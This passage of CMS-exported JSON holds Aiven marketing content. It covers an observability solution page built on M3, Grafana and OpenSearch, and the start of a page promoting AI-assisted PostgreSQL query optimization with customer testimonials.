problems."}],"markDefs":[],"style":"normal"},{"_key":"d103bdb7d754","_type":"block","children":[{"_key":"5f1d314c92a40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"aea85df07fa1","_type":"block","children":[{"_key":"b0b75a1b86b80","_type":"span","marks":[],"text":"Monitoring - Round the clock metrics on health and performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cf9227931c42","_type":"block","children":[{"_key":"1b9108cfcb400","_type":"span","marks":[],"text":"Logging - Intake and indexing of data logs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a9086f97f25d","_type":"block","children":[{"_key":"cc84ef68e1c30","_type":"span","marks":[],"text":"Incident investigation - Search logs and metrics to identify problems"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7235ec0ddb3d","_type":"block","children":[{"_key":"53848cc546ee0","_type":"span","marks":[],"text":"Visualisation - View vital statistics on graphical dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"652b4467e2bf","_type":"block","children":[{"_key":"f2d2f05da53a0","_type":"span","marks":[],"text":"Alerting - On point notifications so you’re always informed"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"c2094603d675","_type":"block","children":[{"_key":"9f41473c85780","_type":"span","marks":[],"text":"Prevention is better than cure"}],"markDefs":[],"style":"h3"},{"_key":"6c8826c226cf","_type":"block","children":[{"_key":"2f45740546f90","_type":"span","marks":[],"text":"Observability offers you granular insights into the health of your system. It gives you the clearest possible view of both your internal- and external-facing data architecture. Because the more you know your data, the more prepared you are for the unexpected."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"78c29a027fdd","_type":"block","children":[{"_key":"ecf489075a090","_type":"span","marks":[],"text":"As companies grow or scale up, digital transformation often becomes a core strategy. With increasing digitalization, the technologies powering businesses become more and more complex."}],"markDefs":[],"style":"normal"},{"_key":"e85934bf58a4","_type":"block","children":[{"_key":"4a0aa8db5d3a0","_type":"span","marks":[],"text":"With systems made up of multiple databases, servers, applications, and increasingly complex architecture, monitoring the health of the entire system becomes vital – because a problem with one element might lead to a failure in others."}],"markDefs":[],"style":"normal"},{"_key":"32b65ab531d3","_type":"block","children":[{"_key":"561c5571a5300","_type":"span","marks":[],"text":"Observability is the all-seeing eye that helps you keep everything running smoothly and reliably. It helps you investigate the depths of your services by monitoring metrics, checking logs, investigating incidents, and alerting you of anything that doesn’t seem quite right."}],"markDefs":[],"style":"normal"}],"title":"What is Observability?","variant":"twoColumn"},{"_key":"3b32c6fcf9e4","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-485ea2ea93939af264bcca252d45e96be1907fd3-700x500-png","_type":"reference"}},"rounded":false,"text":[{"_key":"2b368baa4c9b","_type":"block","children":[{"_key":"8b5037ec7df90","_type":"span","marks":[],"text":"The knee bone’s connected to the data pipeline"}],"markDefs":[],"style":"h3"},{"_key":"17218a8918cf","_type":"block","children":[{"_key":"508ce03c92090","_type":"span","marks":[],"text":"Modern databases are surprisingly holistic. Everything’s connected like a living data organism. But that deep connectedness can also lead to unseen issues if there’s a communication breakdown between all of the individual parts."}],"markDefs":[],"style":"normal"}],"title":"Observability problems – and the tools to solve them","variant":"mediaRight"},{"_key":"bcc5a46ad8af","_type":"cardList","align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"items":[{"_key":"8c7c67432849","_type":"cardItem","subtitle":[{"_key":"f3204fafe3cf","_type":"block","children":[{"_key":"c9e7b292da6a0","_type":"span","marks":[],"text":"You might already be using a bunch of different tools to observe and analyse your data, but if they’re not talking to each other, it can be hard to get an accurate picture of what’s going on. Instead of a clear overview, you end up with an overload of information that fails to reveal anything meaningful."}],"markDefs":[],"style":"normal"}],"title":"Too much information","variant":"default"},{"_key":"d63b898c0b24","_type":"cardItem","subtitle":[{"_key":"37c95c9568cc","_type":"block","children":[{"_key":"e21021fa730b0","_type":"span","marks":[],"text":"Sometimes, metrics produce so much information you can only store the data points for short periods due to cost and scalability issues. This leads to inefficient, and possibly inaccurate analysis. You might end up missing the point hidden inside the information that got discarded."}],"markDefs":[],"style":"normal"}],"title":"Too little information","variant":"default"},{"_key":"ddc8b5583ecf","_type":"cardItem","subtitle":[{"_key":"4dd7564e4ea4","_type":"block","children":[{"_key":"1c7c3f53538c0","_type":"span","marks":[],"text":"Monitoring alone doesn’t tell you "},{"_key":"1c7c3f53538c1","_type":"span","marks":["em"],"text":"why"},{"_key":"1c7c3f53538c2","_type":"span","marks":[],"text":" something is wrong. Observability "},{"_key":"1c7c3f53538c3","_type":"span","marks":["em"],"text":"can"},{"_key":"1c7c3f53538c4","_type":"span","marks":[],"text":" do this—as long as it’s getting accurate and up-to-date information. If your observability solution decides to take a nap, you might not be aware if something business-critical starts to go wrong."}],"markDefs":[],"style":"normal"}],"title":"Information breakdown","variant":"default"}],"rounded":false,"title":"Observability problems"},{"_key":"bb9bacc12bdf","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"f15e20825bcf","_ref":"6cA8XxCFwLgb6UcsVztkdm","_type":"reference"}],"noSpaceBottom":true,"rounded":false,"variant":"media"},{"_key":"680a2bff3036","_type":"textColumn","columnOne":[{"_key":"0d5e4f4b2738","_type":"block","children":[{"_key":"216d7a69c90a0","_type":"span","marks":[],"text":"Scalability – give full visibility to the status of your systems with an infinitely scalable observability platform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a722d73671c9","_type":"block","children":[{"_key":"25dd7ea4082a0","_type":"span","marks":[],"text":"High availability – 99.99% uptime for reliable, systems-wide observation that doesn’t fall asleep at the wheel"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"64b6dd553c2c","_type":"block","children":[{"_key":"e3a91850fae9","_type":"span","marks":[],"text":"Easy incident investigation - collect and store all relevant metrics to ensure you have all the data you need."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f0562d3b1bcf","_type":"block","children":[{"_key":"567456836861","_type":"span","marks":[],"text":"Hit the ground running - get all our observability building blocks included as part of the package"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"bba1bc14b485","_type":"block","children":[{"_key":"9efeacf5cbba0","_type":"span","marks":[],"text":"Aiven provides a set of observability building blocks to help you solve all the common problems faced by deep and complex systems. Our tools allow you to create a centralized, scalable platform that suits your specific needs."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Observability – the open source observability toolset","variant":"twoColumn"},{"_key":"0f7fa8283bd8","_type":"iconList","disabled":false,"fullWidth":false,"iconSize":64,"icons":[{"_key":"7837b4e5dcd9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"33b5ba35b5fc","_type":"block","children":[{"_key":"a36ef5e274040","_type":"span","marks":[],"text":"as a highly-scalable metrics engine"}],"markDefs":[],"style":"normal"}],"title":"M3"},{"_key":"6d0957e76630","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"5e3756a60d7e","_type":"block","children":[{"_key":"f3b167c25cdc0","_type":"span","marks":[],"text":"for visualisation and alerts"}],"markDefs":[],"style":"normal"}],"title":"Grafana®"},{"_key":"cd3dc47db926","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"fd8d9d5244df","_type":"block","children":[{"_key":"bd182a6930690","_type":"span","marks":[],"text":"for examining logs with OpenSearch dashboards as search UI"}],"markDefs":[],"style":"normal"}],"title":"OpenSearch®"}],"rounded":false,"subtitle":[{"_key":"0886d795ce15","_type":"block","children":[{"_key":"aa5c51e237bb0","_type":"span","marks":[],"text":"Aiven’s observability components combine a set of reliable blocks that connect seamlessly and work well together. You can use them to build a custom platform for your business combining metrics, monitoring, logging, analysis and diagnosis, alerting, and troubleshooting."}],"markDefs":[],"style":"normal"}],"title":"Building observability","variant":"header-left"},{"_key":"1b4154c2e425","_type":"textColumn","addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"subtitle":[{"_key":"26b3ca17c901","_type":"block","children":[{"_key":"b3252ad7480f0","_type":"span","marks":[],"text":"Because our observability components are all available as part of Aiven’s services, it’s easy to integrate them into your existing systems, either by scaling up Prometheus by adding M3, or by using our tools to create your own comprehensive observability platform."}],"markDefs":[],"style":"normal"}],"title":"Aiven observability components","variant":"oneColumn"},{"_key":"89c186857eb4","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"columnOne":[{"_key":"a499b79ec4f0","_type":"block","children":[{"_key":"77a2a920e2120","_type":"span","marks":[],"text":"Aiven for M3 can be used out of the box to scale your local Prometheus environment up to a massive scale. It’s like going from limited to unlimited at the flick of a switch."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f85f89056b2d","_type":"block","children":[{"_key":"e58551dca2c00","_type":"span","marks":[],"text":"Combine multiple Prometheus nodes. Aggregate data from multiple Prometheus environments to a centralized cloud storage, making data easier to analyze."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"5291faace642","_type":"block","children":[{"_key":"aced63235363","_type":"span","marks":[],"text":"Optional M3 Aggregator service to reduce storage needs and speed up query time."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8db0824103d4","_type":"block","children":[{"_key":"aad11d979e35","_type":"span","marks":[],"text":"With 99.99% uptime, you won’t miss a beat."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"subtitle":[{"_key":"bbde35516f14","_type":"block","children":[{"_key":"0aec2313040c0","_type":"span","marks":[],"text":"Let’s say you’re already using a local Prometheus time series database, but you’ve realised it doesn’t scale as much as you need."}],"markDefs":[],"style":"normal"}],"tagline":"Simple scale up","title":"Adding Aiven for M3 to Prometheus","variant":"twoColumn"},{"_key":"2e3f6c1a3837","_type":"coverImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-f4b1d5cfc087c8c7b88728a34689747f7d208156-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":true,"rounded":false},{"_key":"3aad50ba8fb9","_type":"textColumn","addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"columnOne":[{"_key":"24ddedc478a4","_type":"block","children":[{"_key":"396d7060ec120","_type":"span","marks":[],"text":"Our observability components offer you unlimited scalability, with the ability to run 10s of thousands of nodes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"52643fe75351","_type":"block","children":[{"_key":"67a0bdec0d600","_type":"span","marks":[],"text":"Use M3 to aggregate all your metrics data in one place, at customizable resolutions, making it easier – and faster – to analyze and report on."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"311bef920063","_type":"block","children":[{"_key":"775ace031acc0","_type":"span","marks":[],"text":"Logs management with OpenSearch for examining logs with OpenSearch dashboards as search UI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"39ea62e36aaf","_type":"block","children":[{"_key":"4287c422cc8a","_type":"span","marks":[],"text":"Grafana for visualisation dashboards and alerts – with many ready-made dashboards available"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1de5cbf34232","_type":"block","children":[{"_key":"362a93a996a0","_type":"span","marks":[],"text":"Deploy in minutes, and integrate our components at the click of a mouse."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2176b0e65507","_type":"block","children":[{"_key":"bd2dc51663cf","_type":"span","marks":[],"text":"99.99% uptime so you’re notified at the first sign of trouble."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"subtitle":[{"_key":"c86e59e46b6d","_type":"block","children":[{"_key":"51f2ceb0c3e40","_type":"span","marks":[],"text":"You’ve already got the ultimate data environment. Now you want to build the ultimate open source observability platform."}],"markDefs":[],"style":"normal"}],"tagline":"Total perspective","title":"Aiven’s observability toolset","variant":"twoColumn"},{"_key":"16e3859fbab1","_type":"coverImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308-png","_type":"reference"}}},"disabled":false,"fullWidth":true,"rounded":false},{"_key":"00f8f6bc0004","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"90c9fdbe3cd2","_type":"cardItem","subtitle":[{"_key":"aff4c0bb8bb2","_type":"block","children":[{"_key":"3122ac5f676d0","_type":"span","marks":[],"text":"Observability produces a huge amount of data. The trick to making it work is balancing that data with storage capacity – so that you don’t lose critical information. The more high-quality information available, the higher the chance of identifying issues earlier."}],"markDefs":[],"style":"normal"}],"title":"Observability at scale","variant":"default"},{"_key":"54168341256c","_type":"cardItem","subtitle":[{"_key":"54200c7bb31d","_type":"block","children":[{"_key":"1ed913a931930","_type":"span","marks":[],"text":"Monitor and bring in logs from whatever nodes you want to observe, using collection agents such as Telegraf and Logstash."}],"markDefs":[],"style":"normal"}],"title":"Observe whatever you want...","variant":"default"},{"_key":"18897849cd32","_type":"cardItem","subtitle":[{"_key":"d3a95bd8f989","_type":"block","children":[{"_key":"c6fae1b87e5a0","_type":"span","marks":[],"text":"Aiven’s observability components allow you to aggregate data to both reduce storage needs, and significantly reduce query time, so analysis and results can be generated in close to real time."}],"markDefs":[],"style":"normal"}],"title":"Aggregate to accelerate","variant":"default"},{"_key":"b74b602d570d","_type":"cardItem","subtitle":[{"_key":"f47e9b5f4c20","_type":"block","children":[{"_key":"0751ec3969320","_type":"span","marks":[],"text":"Regardless of the observability solution you create—whether you’re scaling up Prometheus with M3 or building something using the components in our observability package—their pricing is all-inclusive. There are no additional or hidden fees for the cloud provider and storage plan you choose."}],"markDefs":[],"style":"normal"}],"title":"...and pay for what you need","variant":"default"}],"rounded":false},{"_key":"f09a0fd03961","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"1b02675fd9f9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"62ea2da71405","_type":"block","children":[{"_key":"1cc5c6bc3be10","_type":"span","marks":[],"text":"Increase your servers, storage, or migrate to a different provider at the push of a button, with zero downtime."}],"markDefs":[],"style":"normal"}],"title":"Simple scalability"},{"_key":"abc04bd6da41","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b68372142db3","_type":"block","children":[{"_key":"6403cca22cb10","_type":"span","marks":[],"text":"Close to real-time view and alerts help you make sure your systems are always at their best."}],"markDefs":[],"style":"normal"}],"title":"Never miss a beat"},{"_key":"d85654cdb391","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f61058a84852","_type":"block","children":[{"_key":"08c9bcbc88f00","_type":"span","marks":[],"text":"Observe 10s of thousands of nodes – so you’re prepared for anything."}],"markDefs":[],"style":"normal"}],"title":"Scalable monitoring"},{"_key":"c6620d35edee","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d98902c03733","_type":"block","children":[{"_key":"94ef6f73ff320","_type":"span","marks":[],"text":"Familiar Aiven tooling gets you up and running in minutes, and easy customization keeps everything flexible."}],"markDefs":[],"style":"normal"}],"title":"Ease of use"},{"_key":"fc617f4764e8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"59d1feb72295","_type":"block","children":[{"_key":"a91d7c0e81d10","_type":"span","marks":[],"text":"Like everything Aiven does, open source is the beating heart."}],"markDefs":[],"style":"normal"}],"title":"Open source"},{"_key":"0e5c287c6648","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"772bb0368688","_type":"block","children":[{"_key":"ed64a61019180","_type":"span","marks":[],"text":"End-to-end encryption, dedicated VMs, full compliance certifications."}],"markDefs":[],"style":"normal"}],"title":"Security built-in"},{"_key":"d4c2f289a6b9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-26b2ae542c20050335393458b92ddeac6a6904a7-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d91db5b609c4","_type":"block","children":[{"_key":"d3fa4f40f24c0","_type":"span","marks":[],"text":"Ready-made dashboards galore to get your visualization started."}],"markDefs":[],"style":"normal"}],"title":"Grafana dashboards"},{"_key":"f18439803716","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5baf24744615","_type":"block","children":[{"_key":"a7b8cd698fc50","_type":"span","marks":[],"text":"Our backup tool Astacus keeps your data safe – so you never have to worry."}],"markDefs":[],"style":"normal"}],"title":"Automatic backups"},{"_key":"3957cba2d415","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c7782e4f232e5e1b05cc1779512beef5b4140b17-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"eb7d6fc097ad","_type":"block","children":[{"_key":"964bd605ab4f0","_type":"span","marks":[],"text":"Customers love our expert 24/7 support, available 365 days a year."}],"markDefs":[],"style":"normal"}],"title":"World class support"}],"rounded":false,"title":"Why Aiven?","variant":"icon-left"},{"_key":"c41cc39a7d0e","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"1e8df6dc3620","_ref":"26l9NKDueoPgYQoIi5QBhG","_type":"reference"},{"_key":"f57483453cac","_ref":"5J9HPxL6cbe0ZgOiSueO0U","_type":"reference"},{"_key":"1cb944a6b276","_ref":"Dwf9ujl3D3mdwA4HUotMC","_type":"reference"}],"noSpaceBottom":false,"rounded":false,"subtitle":[{"_key":"27cdd20cbd93","_type":"block","children":[{"_key":"e43160ad37d20","_type":"span","marks":[],"text":"Want the full perspective on your systems? Take a deep dive with a free trial. Or "},{"_key":"67f8dd0205a3","_type":"span","marks":["994902fca1b7"],"text":"contact sales"},{"_key":"42e15ad6f77a","_type":"span","marks":[],"text":" for a personalised solution."}],"markDefs":[{"_key":"994902fca1b7","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"}],"title":"See for yourself","variant":"logo"},{"_key":"9cb6e1f4ef1f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"Explore our customer success stories"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Aiven’s observability tools give you the ability to build a custom platform combining metrics, monitoring, logging, analysis, diagnosis, and alerting.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5ed45581f52e535a5b18054eabd549ecfc6a55b7-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for Observability - Benefit from our solution today!"},"slug":{"_type":"slug","current":"/solutions/aiven-for-observability"},"title":"Aiven for Observability"} {"__i18n_lang":"en","_createdAt":"2024-07-26T11:16:33Z","_id":"19e93c17-df3f-47f1-81b9-f24f197aefd5","_rev":"XnxiJKnCTtm6dskwmzPNY1","_type":"solution","_updatedAt":"2024-11-11T09:39:15Z","content":[{"_key":"6ab04b26af13","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-75f6e3083b0771faa66cbc624267ad16d83ef0b2-4320x1995-jpg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-75f6e3083b0771faa66cbc624267ad16d83ef0b2-4320x1995-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"PG Optimizer","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"description":[{"_key":"646a7115a70e","_type":"block","children":[{"_key":"ec35061d0a38","_type":"span","marks":[],"text":"Troubleshoot PostgreSQL® and MySQL performance issues within seconds, get instant optimization recommendations, and reduce your databases cost, powered by AI. "}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"headline":[{"_key":"0a09c66bcd08","_type":"block","children":[{"_key":"16297565190c0","_type":"span","marks":[],"text":"Optimize PostgreSQL® Performance"}],"markDefs":[],"style":"h1"},{"_key":"94ba5dec0077","_type":"block","children":[{"_key":"fc3628cc2e430","_type":"span","marks":[],"text":"Speed up your PostgreSQL® performance with"},{"_key":"346247da4f5d","_type":"span","marks":["color-primary"],"text":" "},{"_key":"adb648676e39","_type":"span","marks":[],"text":"AI-assisted workload insights and instant query optimization recommendations to reduce your database cost. Tune your SQL queries for better performance."}],"markDefs":[],"style":"normal"},{"_key":"864a4aca2da3","_type":"block","children":[{"_key":"1eccd603248e","_type":"span","marks":[],"text":"Powered by "},{"_key":"8c8f691ba35e","_type":"span","marks":["d9f2b1e865a5"],"text":"Aiven AI Database Optimizer"}],"markDefs":[{"_key":"d9f2b1e865a5","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"heroHasVideo":true,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Try it now"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","externalUrl":"#demo","title":"Interactive demo"},"title":"Optimize your database workloads with AI","titleMultiColor":true,"variant":"default","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"0rmo1g7syl","id":122645061},"ytId":"5ZyxAsWqp4Y"},{"_key":"1b5e69f3e92d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Use cases","title":"How does it all work together","variant":"centerColumn"},{"_key":"51955fe1f3de","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Automatic PostgreSQL performance insights","text":[{"_key":"348ef7e11889","_type":"block","children":[{"_key":"0e4274b630880","_type":"span","marks":[],"text":"Having a slow PostgreSQL® queries? High CPU levels usage?"}],"markDefs":[],"style":"normal"},{"_key":"c06246801165","_type":"block","children":[{"_key":"aaa9b83dc0ac","_type":"span","marks":[],"text":"Indentify and solve "},{"_key":"448b8e690e5d","_type":"span","marks":["406bce0a9176"],"text":"PostgreSQL®"},{"_key":"b42579df9a74","_type":"span","marks":[],"text":" performance issues in "},{"_key":"37aa81b910df","_type":"span","marks":["strong"],"text":"minutes instead of hours"},{"_key":"e27943dc3fdb","_type":"span","marks":[],"text":" by receiving AI-driven performance insights and optimisation suggestions."}],"markDefs":[{"_key":"406bce0a9176","_type":"link","href":"https://aiven.io/postgresql"}],"style":"normal"},{"_key":"3b37f9befbd4","_type":"block","children":[{"_key":"f4de54ee88990","_type":"span","marks":[],"text":"Detect performance issues by browsing a holistic view of the query patterns hitting your database, based on PostgreSQL slow query log"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"669924633c5f","_type":"block","children":[{"_key":"65f951fbbf2d0","_type":"span","marks":[],"text":"Receive AI-driven optimisation suggestions to improve performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"642c363f6adc","_type":"block","children":[{"_key":"bd0f7c555a11","_type":"span","marks":[],"text":"Example: "},{"_key":"f1c43d3693f20","_type":"span","marks":["8198d7a18ec9"],"text":"How Aiven helps Lili to expand and keep impressing customers"}],"markDefs":[{"_key":"8198d7a18ec9","_type":"link","href":"https://aiven.io/blog/better-business-banking-how-aiven-helps-lili-to-expand"}],"style":"normal"}],"title":"PostgreSQL performance optimization at your fingertips","variant":"mediaLeft","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"k8vat2ca7n","id":124110515},"ytId":"fOavII9QAmg"},{"_key":"01355f809197","_type":"arcade","addSpaceBottom":true,"addSpaceTop":false,"arcadeHeight":47,"arcadeID":"PLioPi8HXkW5CoOTfgx8","arcadeTitle":"Database Optimizer interactive demo","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"0570cd7d9c87","_type":"block","children":[{"_key":"6c8b1c75a7cc","_type":"span","marks":[],"text":"No more slow PostgreSQL queries with a holistic view of your database workloads and AI-driven improvement suggestions directly available in the Aiven Console. Speed up your PostgreSQL performance. Start a "},{"_key":"e88065b9ddea","_type":"span","marks":["bc4c1e5fba16"],"text":"free trial on Aiven for PostgreSQL"},{"_key":"d4fd2274b6c3","_type":"span","marks":[],"text":" to check it out."}],"markDefs":[{"_key":"bc4c1e5fba16","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try it yourself","title":"Your PostgreSQL, now AI Optimized","topOverlap":false,"variant":"default"},{"_key":"ab9ea383a3bb","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"logos":[{"_key":"c27e5af05707","_ref":"2ad302ea-5565-4403-b917-4b9fc0a3f53b","_type":"reference"},{"_key":"b3f0b8907749","_ref":"600c9ec3-b196-4344-9c05-2304a170ca99","_type":"reference"},{"_key":"85e01873e6cd","_ref":"8243dd02-8eec-4188-8159-c6a4f7e305c6","_type":"reference"},{"_key":"edcf80643d6e","_ref":"47286764-04f2-47a7-8ad6-66855898c8df","_type":"reference"},{"_key":"b46e9f8ebc04","_ref":"2b3bb4b9-a304-4776-9846-b609b56ae29d","_type":"reference"}],"noSpaceBottom":true,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Trusted by","variant":"logo"},{"_key":"8e6dc88a0998","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"isCarousel":true,"isHideItemLink":true,"items":[{"_key":"2db31e8b78fb","_type":"testimonialItem","company":{"_ref":"9e9ae791-fb79-4967-8b21-ce71720ebbce","_type":"reference"},"content":[{"_key":"8a877bf223da","_type":"block","children":[{"_key":"16f7a2a62bc60","_type":"span","marks":[],"text":"EverSQL by Aiven has been an excellent tool for us. Previously, we were having numerous outages on our production website due to databases issues. By implementing EverSQL and their indexing optimisations we have not seen any outages in the last 6 months"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-272d50805a571cbcc9490e06f31acbe3ceb55453-1095x174-svg","_type":"reference"}},"jobTitle":"DevOps Engineer, BrandAlley","name":"Phil Brady"},{"_key":"1b1d5e5ba015","_type":"testimonialItem","content":[{"_key":"c206685069dd","_type":"block","children":[{"_key":"58b768de65460","_type":"span","marks":[],"text":"Our queries run so much faster! Thanks to EverSQL by Aiven for this amazing tool. Some of my queries that took 40+ seconds now complete in \u003c 4 seconds. Absolutely 